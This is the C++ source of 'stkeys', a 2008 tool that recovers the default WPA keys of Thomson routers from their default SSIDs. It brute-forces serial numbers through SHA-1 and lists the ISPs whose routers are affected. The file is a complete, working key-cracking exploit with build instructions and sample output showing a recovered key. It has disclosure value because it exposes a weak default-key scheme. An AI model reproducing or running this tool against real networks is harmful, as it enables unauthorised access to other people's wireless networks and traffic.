/* stkeys v1.0 - Recover default WPA key for Thomson routers using default SSID Recovery possible for certain thomson routers supplied by following ISP / country Orange - Spain KPN - Netherlands Telenor - Norway Bouygues Telecom - France Elion - Estonia BigPond - Australia BT - UK There are probably more but these seem to be main suppliers.. Code only generates keys between 2004 and 2009..if Thomson are still shipping routers with same algorithm after 2009, i don't want to say..since it was first brought to their attention in april 2008. compile: g++ -s stkeys.cpp -ostkeys example: # stkeys 3983bc [*] Generating keys for 2004 [*] Generating keys for 2005 [*] Generating keys for 2006 [*] Generating keys for 2007 [*] Generating keys for 2008 [+] Serial Number: CP0827**HHJ - potential key = B6D27F2D2F [*] Generating keys for 2009 [*] Seconds elapsed:6 - keys per second:2426112 April 2008 - wyse101 0x40 gmail.com */ #include #include #include #include #include #define SERIAL_LENGTH 12 #define ROTATE_LEFT(a,n)(((a)<<(n)) | (((a) & 0xffffffff)>>(32-(n)))) #define ROTATE_RIGHT(a,n) (((a)>>(n)) | (((a) & 0xffffffff)<<(32-(n)))) #define bswap(x)ROTATE_RIGHT( ( ((x & 0xFF00FF00) >> 8L) | ((x & 0x00FF00FF) << 8L) ),16L) typedef struct _SHA_MSG { unsigned long W[80]; } sha1_key; unsigned long ssid; unsigned long sha1_hash[5]; sha1_key yy_schedules[16]; sha1_key ww_schedules[64]; sha1_key xxx_schedules[4][64]; sha1_key *x1_schedules = &xxx_schedules[0][0]; sha1_key *x2_schedules = &xxx_schedules[1][0]; sha1_key *x3_schedules = &xxx_schedules[2][0]; sha1_key x1_buffer; sha1_key x2_buffer; sha1_key x3_buffer; sha1_key week_buffer; sha1_key year_buffer; unsigned long long iterations = 0; void expand(sha1_key *dst, sha1_key *src) { for(int i = 0;i < 16;i++) dst->W[i] = bswap(src->W[i]); for(int i = 16;i < 80;i++) dst->W[i] = ROTATE_LEFT((dst->W[i-3] ^ dst->W[i-8] ^ dst->W[i-14] ^ dst->W[i-16]),1); } void init_yy(void) { unsigned char buffer[64]={0}; for(int year = 4;year <= 9;year++) { memset(buffer,0,sizeof(buffer)); buffer[0] = 'C'; buffer[1] = 'P'; buffer[2] = '0'; buffer[SERIAL_LENGTH] = 0x80; ((unsigned long*)buffer)[15] = bswap(SERIAL_LENGTH * 8); buffer[3] = year + '0'; expand(&yy_schedules[year-4],(sha1_key*)buffer); } } void init_ww(void) { unsigned char buffer[64]={0}; for(int week = 1;week <= 52;week++) { memset(buffer,0,sizeof(buffer)); buffer[4] = (week / 10) + '0'; buffer[5] = (week % 10) + '0'; expand(&ww_schedules[week-1],(sha1_key*)buffer); } } const unsigned char charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const unsigned char hexTable[]="0123456789ABCDEF"; #define hexmsb(x)(hexTable[((x & 0xf0) >> 4)]) #define hexlsb(x)(hexTable[ (x & 0x0f)]) void init_xxx(void) { unsigned char buffer[64]; for(int i = 0;i < 3;i++) { for(int x1 = 0;x1 < 36;x1++) { memset(buffer,0,sizeof(buffer)); buffer[2*i+6] = hexmsb(charTable[x1]);; buffer[2*i+7] = hexlsb(charTable[x1]);; expand(&xxx_schedules[i][x1],(sha1_key*)buffer); } } } #define F(b,c,d) ((((c) ^ (d)) & (b)) ^ (d)) #define G(b,c,d) ((b) ^ (c) ^ (d)) #define H(b,c,d) (((b) & (c)) | (((b) | (c)) & (d))) #define I(b,c,d) ((b) ^ (c) ^ (d)) #define sha1_ff(a,b,c,d,e,i) \ (e) = x3_buffer.W[i] + (e) + 0x5a827999L + ROTATE_LEFT((a),5) + F((b),(c),(d)); \ (b) = ROTATE_RIGHT((b),2); #define sha2_gg(a,b,c,d,e,i) \ (e) = x3_buffer.W[i] + (e) + 0x6ed9eba1L + ROTATE_LEFT((a),5) + G((b),(c),(d)); \ (b) = ROTATE_RIGHT((b),2); #define sha3_hh(a,b,c,d,e,i) \ (e) = x3_buffer.W[i] + (e) + 0x8f1bbcdcL + ROTATE_LEFT((a),5) + H((b),(c),(d)); \ (b) = ROTATE_RIGHT((b),2); #define sha4_ii(a,b,c,d,e,i) \ (e) = x3_buffer.W[i] + (e) + 0xca62c1d6L + ROTATE_LEFT((a),5) + I((b),(c),(d)); \ (b) = ROTATE_RIGHT((b),2); void sha1_block(void) { register unsigned long a,b,c,d,e; a = (unsigned long)0x67452301L; b = (unsigned long)0xefcdab89L; c = (unsigned long)0x98badcfeL; d = (unsigned long)0x10325476L; e = (unsigned long)0xc3d2e1f0L; sha1_ff(a,b,c,d,e, 0); sha1_ff(e,a,b,c,d, 1); sha1_ff(d,e,a,b,c, 2); sha1_ff(c,d,e,a,b, 3); sha1_ff(b,c,d,e,a, 4); sha1_ff(a,b,c,d,e, 5); sha1_ff(e,a,b,c,d, 6); sha1_ff(d,e,a,b,c, 7); sha1_ff(c,d,e,a,b, 8); sha1_ff(b,c,d,e,a, 9); sha1_ff(a,b,c,d,e,10); sha1_ff(e,a,b,c,d,11); sha1_ff(d,e,a,b,c,12); sha1_ff(c,d,e,a,b,13); sha1_ff(b,c,d,e,a,14); sha1_ff(a,b,c,d,e,15); sha1_ff(e,a,b,c,d,16); sha1_ff(d,e,a,b,c,17); sha1_ff(c,d,e,a,b,18); sha1_ff(b,c,d,e,a,19); /* ================ */ sha2_gg(a,b,c,d,e,20); sha2_gg(e,a,b,c,d,21); sha2_gg(d,e,a,b,c,22); sha2_gg(c,d,e,a,b,23); sha2_gg(b,c,d,e,a,24); sha2_gg(a,b,c,d,e,25); sha2_gg(e,a,b,c,d,26); sha2_gg(d,e,a,b,c,27); sha2_gg(c,d,e,a,b,28); sha2_gg(b,c,d,e,a,29); sha2_gg(a,b,c,d,e,30); sha2_gg(e,a,b,c,d,31); sha2_gg(d,e,a,b,c,32); sha2_gg(c,d,e,a,b,33); sha2_gg(b,c,d,e,a,34); sha2_gg(a,b,c,d,e,35); sha2_gg(e,a,b,c,d,36); sha2_gg(d,e,a,b,c,37); sha2_gg(c,d,e,a,b,38); sha2_gg(b,c,d,e,a,39); /* ================ */ sha3_hh(a,b,c,d,e,40); sha3_hh(e,a,b,c,d,41); sha3_hh(d,e,a,b,c,42); sha3_hh(c,d,e,a,b,43); sha3_hh(b,c,d,e,a,44); sha3_hh(a,b,c,d,e,45); sha3_hh(e,a,b,c,d,46); sha3_hh(d,e,a,b,c,47); sha3_hh(c,d,e,a,b,48); sha3_hh(b,c,d,e,a,49); sha3_hh(a,b,c,d,e,50); sha3_hh(e,a,b,c,d,51); sha3_hh(d,e,a,b,c,52); sha3_hh(c,d,e,a,b,53); sha3_hh(b,c,d,e,a,54); sha3_hh(a,b,c,d,e,55); sha3_hh(e,a,b,c,d,56); sha3_hh(d,e,a,b,c,57); sha3_hh(c,d,e,a,b,58); sha3_hh(b,c,d,e,a,59); /* ================ */ sha4_ii(a,b,c,d,e,60); sha4_ii(e,a,b,c,d,61); sha4_ii(d,e,a,b,c,62); sha4_ii(c,d,e,a,b,63); sha4_ii(b,c,d,e,a,64); sha4_ii(a,b,c,d,e,65); sha4_ii(e,a,b,c,d,66); sha4_ii(d,e,a,b,c,67); sha4_ii(c,d,e,a,b,68); sha4_ii(b,c,d,e,a,69); sha4_ii(a,b,c,d,e,70); sha4_ii(e,a,b,c,d,71); sha4_ii(d,e,a,b,c,72); sha4_ii(c,d,e,a,b,73); sha4_ii(b,c,d,e,a,74); sha4_ii(a,b,c,d,e,75); sha4_ii(e,a,b,c,d,76); sha4_ii(d,e,a,b,c,77); sha4_ii(c,d,e,a,b,78); sha4_ii(b,c,d,e,a,79); sha1_hash[0] = a + (unsigned long)0x67452301L; sha1_hash[1] = b + (unsigned long)0xefcdab89L; sha1_hash[2] = c + (unsigned long)0x98badcfeL; sha1_hash[3] = d + (unsigned long)0x10325476L; sha1_hash[4] = e + (unsigned long)0xc3d2e1f0L; } #define SHA1_SET_KEY(next,previous,current) \ { \ for(size_t i = 0;i < sizeof(sha1_key) / sizeof(unsigned long);i += 4) { \ next.W[i+0] = (previous.W[i+0] ^ current.W[i+0]); \ next.W[i+1] = (previous.W[i+1] ^ current.W[i+1]); \ next.W[i+2] = (previous.W[i+2] ^ current.W[i+2]); \ next.W[i+3] = (previous.W[i+3] ^ current.W[i+3]); \ } \ } void gen_serials(void) { unsigned char serial[8]={0}; serial[0] = 'C'; serial[1] = 'P'; serial[2] = '0'; for(int year = 0; year <= 5; year++) { printf("\n\n[*] Generating keys for 200%d",year+4); memcpy(&year_buffer,&yy_schedules[year],sizeof(sha1_key)); for(int week = 0; week < 52; week++) { SHA1_SET_KEY(week_buffer,year_buffer,ww_schedules[week]); for(int x1 = 0; x1 < 36; x1++) { SHA1_SET_KEY(x1_buffer,week_buffer,x1_schedules[x1]); for(int x2 = 0; x2 < 36; x2++) { SHA1_SET_KEY(x2_buffer,x1_buffer,x2_schedules[x2]); for(int x3 = 0; x3 < 36; x3++) { SHA1_SET_KEY(x3_buffer,x2_buffer,x3_schedules[x3]); sha1_block(); if( (sha1_hash[4] & 0x00FFFFFF) == ssid) { serial[3] = (year + 4 ) + '0'; serial[4] = ((week + 1) / 10) + '0'; serial[5] = ((week + 1) % 10) + '0'; printf("\n\t[+] Serial Number: %s**%c%c%c - potential key = %08lX%02X", serial,charTable[x1],charTable[x2],charTable[x3], sha1_hash[0],((unsigned char*)&sha1_hash)[7]); } iterations++; } } } } } } int main(int argc, char *argv[]) { unsigned long keys,seconds; time_t start_time; size_t ssidLen; if(argc != 2) { puts("\n\t" "STkeys v1.0 - default WPA key recovery for Thomson routers" "\n\t(x) June 2008 - wyse101 0x40 gmail.com"); printf("\n\tUsage: stkeys \n"); return 0; } if((ssidLen = strlen(argv[1])) != 6) { printf("\nInvalid SSID length: %s",argv[1]); return 0; } for(size_t i = 0;i < ssidLen;i++) { if(!isxdigit(argv[1][i])) { printf("\n\tNot a valid SSID: \"%s\"\n",argv[1]); return 0; } } sscanf(argv[1],"%lx",&ssid); init_yy(); init_ww(); init_xxx(); start_time = time(0); gen_serials(); seconds = (time(0) - start_time); keys = (seconds > 0) ? (iterations / seconds) : iterations; printf("\n\n[*] Seconds elapsed:%lu - keys per second:%lu\n",seconds,keys); return 0; }